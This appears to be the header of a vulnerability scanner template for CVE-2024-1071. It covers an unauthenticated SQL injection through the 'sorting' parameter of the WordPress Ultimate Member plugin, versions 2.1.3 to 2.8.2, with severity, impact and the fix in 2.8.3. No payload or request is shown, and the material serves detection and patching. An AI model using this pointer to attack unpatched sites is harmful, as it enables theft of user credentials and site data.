WordPress Ultimate Member 2.1.3 - 2.8.2 – SQL Injection

id: CVE-2024-1071

info:
  name: WordPress Ultimate Member 2.1.3 - 2.8.2 – SQL Injection
  author: DhiyaneshDK,iamnooob
  severity: critical
  description: |
    The Ultimate Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘sorting’ parameter in versions 2.1.3 to 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the sorting parameter in the member directory to extract the complete WordPress database including user credentials, member profiles, and sensitive site data.
  remediation: Fixed in 2.8.3
